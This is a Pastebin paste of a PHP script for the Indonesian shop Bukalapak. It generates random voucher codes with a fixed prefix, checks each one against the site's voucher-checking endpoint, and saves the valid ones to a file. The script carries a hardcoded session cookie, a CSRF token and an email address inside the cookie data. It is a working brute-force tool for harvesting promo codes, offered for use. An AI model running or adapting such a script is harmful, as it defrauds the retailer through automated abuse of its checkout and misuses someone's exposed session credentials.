Advertisement
0xCor3

BUKALAPAK EXTRAP

Oct 4th, 2018
686
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.85 KB | None | 0 0
  1. <?php
  2. // header from nako48
  3. // @_zelsaddr
  4. $green  = "\e[1;92m";
  5. $normal = "\e[0m";
  6. $red    = "\e[1;91m";if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { echo shell_exec("cls");
  7. } else {echo shell_exec("clear");
  8. }$banner = trim("++++++++++++++++++++++++++++$green \nBUKALAPAK EXTRAP AUTO CHECK $red \nBy @_zelsaddr $normal \n++++++++++++++++++++++++++++");function Cek($voc){$green  = "\e[1;92m";$red    = "\e[1;91m";$normal = "\e[0m";$header = array('User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:62.0) Gecko/20100101 Firefox/62.0','Accept: */*','Accept-Language: en-US,en;q=0.5','Referer: https://www.bukalapak.com/payment/purchases/new?product_id=171012667&product_sku_id=155566745&seller_ids=%5B13982887%5D','X-NewRelic-ID: VQcDWF9ADgIJVVBQ','X-CSRF-Token: 7CbAXa9HKoT7rJTck44IT/K1IILoyU31bPU/ISdHI20tRLfpMVlQn278Z1tF5VoqW13dS+s0J3mFe5R6Wf4TBg==','Content-Type: application/json','X-Requested-With: XMLHttpRequest','Cookie: identity=8095446cf591eba747f21277e3c0872e; browser_id=7aff08a3c83c8a01b08eed86f8d542cf; _vwo_uuid_v2=D58DC33EEF80F00F3F471208FE29CCE54|c5caf23d495a3043bbab71e51dc0ce6e; _ga=GA1.2.464857469.1537712086; _gcl_au=1.1.1535333380.1537712089; insdrSV=29; scs=%7B%22t%22%3A1%7D; ins-mig-done=1; spUID=15377120918158365080735.4b146985; insUserData=%7B%22email%22%3A%22rootasuna%40gmail.com%22%7D; G_ENABLED_IDPS=google; session_id=5a8841df39602825fc0023d96d790501; lskjfewjrh34ghj23brjh234=UUtYRHI4WUhDZ01hbjZuNW43Vm1MVjlSU2R5OEloOGRua1RXYkVjV0hJZG81SEg5azUvc2dQSEcxL2tKQzFFY1BLeGhVdWZHZ29KNlg1OENSZElnc1gycG1xSXBSZGJrVjR5UUY1UlllcGxzMjhpZVdPTGhtWVR3NG1GalZmWG9sbTd1VTRCczkvVmxTZit3NUtLUmhINE50dXJxUUMwNGNIdk1udGt0RXRtMHhQY3pzQ1JHUGdtMDVJTWpTK2YwQlFpZFpPRXBVek94S2o3L0UzN1BIdz09LS0vM0x6K094cWtWOWtmckFSUUF4YVFRPT0%3D--489850ef6be03e682af158ff548c98850c272ee4; _gid=GA1.2.1302656404.1538656708; __auc=2736815e1663f16255ee7062fc0; ins-gaSSId=54d2d601-419e-53c9-e404-b7fd73e7fc20_1538660309; current-currency=IDR; total-cart-amount=585700; mp_51467a440ff602e0c13d513c36387ea8_mixpanel=%7B%22distinct_id%22%3A%20%22rvf5t%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; _td=c779a38e-2da5-44d8-ca93-dfd63b8eea10; request_method=POST','Connection: keep-alive');$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "https://www.bukalapak.com/payment/purchases/check_voucher.json");curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_POST, TRUE);curl_setopt($ch, CURLOPT_POSTFIELDS, '{"payment_invoice":{"transactions":[{"address":{"province":"","city":""},"amount":585700,"courier_cost":0,"insurance_cost":0,"agent_commission_amount":0,"courier":null,"seller_id":13982887,"retarget_discount_amount":0,"cart_item_ids":[2734395938]}],"payment_method":null,"voucher_amount":0},"payment_details":{"virtual_account_type":""},"voucher_code":"'.$voc.'"}');curl_setopt($ch, CURLOPT_HTTPHEADER, $header);$ec = json_decode(curl_exec($ch), true);if(!preg_match("/Voucher hanya/i", $ec['message'])){return "$red DIE $normal";}else{return "$green LIVE $normal";}}function Generate(){$w_one = substr(str_shuffle(str_repeat("abcdefghijklmnopqrstuvwxyz", 5)), 0, 1);$w_two = substr(str_shuffle(str_repeat("abcdefghijklmnopqrstuvwxyz", 5)), 0, 1); $num = substr(str_shuffle(str_repeat("0123456789", 5)), 0, 1);$w_end = substr(str_shuffle(str_repeat("abcdefghijklmnopqrstuvwxyz", 5)), 0, 1);return ("BLMOIV".$w_one.$w_two.$num.$w_end);}function save($name, $isi){$jud1 = fopen($name, "a");fwrite($jud1, $isi . "\n");fclose($jud1);}echo $banner."\n";echo "BUTUH BRP ? : "; $total = trim(fgets(STDIN));echo "RESULT NAME ? : "; $filename = trim(fgets(STDIN));if(number_format($total)){for($i = 1; $i <= $total; $i++){$data = Generate();$cek = Cek($data);if(preg_match("/LIVE/i", $cek)){save($filename, $data);}echo $i. ") ".$data. " | [ ".date('d/m/Y h:i:s')."] [ ".$cek." ] \n";}echo "file saved as : ".getcwd()."/".$filename;}else{echo "WHAT??? ENTER BOY!";}?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement